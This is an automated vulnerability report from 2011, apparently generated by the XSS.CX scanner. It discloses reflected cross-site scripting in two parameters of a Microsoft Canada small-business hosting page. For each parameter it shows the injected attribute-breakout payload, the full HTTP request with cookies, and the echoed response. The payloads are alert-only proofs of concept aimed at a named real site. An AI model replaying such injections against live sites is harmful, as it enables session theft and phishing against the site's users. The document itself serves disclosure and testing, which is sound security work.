XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx

Report generated by XSS.CX at Thu Aug 18 14:01:08 GMT-06:00 2011.

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1. Cross-site scripting (reflected)

XSS in microsoft.com/canada/smallbiz/french/partners/hosting.aspx, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, onmouseover, Javascript Handler

1.1. http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx [city parameter]

1.2. http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx [province parameter]


1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx [city parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/smallbiz/french/buy/partners/hosting.aspx

Issue detail

The value of the city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1c30"style%3d"x%3aexpression(alert(1))"c171cfddfb2 was submitted in the city parameter. This input was echoed as a1c30"style="x:expression(alert(1))"c171cfddfb2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /canada/smallbiz/french/buy/partners/hosting.aspx?province=British%20Columbia&city=a1c30"style%3d"x%3aexpression(alert(1))"c171cfddfb2&cf=dropdown&bg=&font=&width=&title=&text HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.microsoft.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Referer: http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx
Cookie: A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1311323652111:ss=1311323652111
Pragma: no-cache
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 279914800300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 03 Aug 2011 20:42:52 GMT
Content-Length: 10979


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
           
       <title>Localisateur de partenaires d...h..bergement de Microsoft pour les PME</title>
       <meta content="M
...[SNIP]...
<a href="http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx?province=British Columbia&city=a1c30"style="x:expression(alert(1))"c171cfddfb2&cf=showall" class="resultsTable">
...[SNIP]...
1.2. http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx [province parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/smallbiz/french/buy/partners/hosting.aspx

Issue detail

The value of the province request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 345c7"style%3d"x%3aexpression(alert(1))"edc20895e9e was submitted in the province parameter. This input was echoed as 345c7"style="x:expression(alert(1))"edc20895e9e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /canada/smallbiz/french/buy/partners/hosting.aspx?province=British%20Columbia345c7"style%3d"x%3aexpression(alert(1))"edc20895e9e&city=&cf=dropdown&bg=&font=&width=&title=&text HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.microsoft.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Referer: http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx
Cookie: A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1311323652111:ss=1311323652111
Pragma: no-cache
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 438481500400000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 03 Aug 2011 20:42:48 GMT
Content-Length: 10744


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
           
       <title>Localisateur de partenaires d...h..bergement de Microsoft pour les PME</title>
       <meta content="M
...[SNIP]...
<a href="http://www.microsoft.com/canada/smallbiz/french/buy/partners/hosting.aspx?province=British Columbia345c7"style="x:expression(alert(1))"edc20895e9e&city=&cf=showall" class="resultsTable">
...[SNIP]...
Report generated by XSS.CX at Thu Aug 18 14:01:08 GMT-06:00 2011.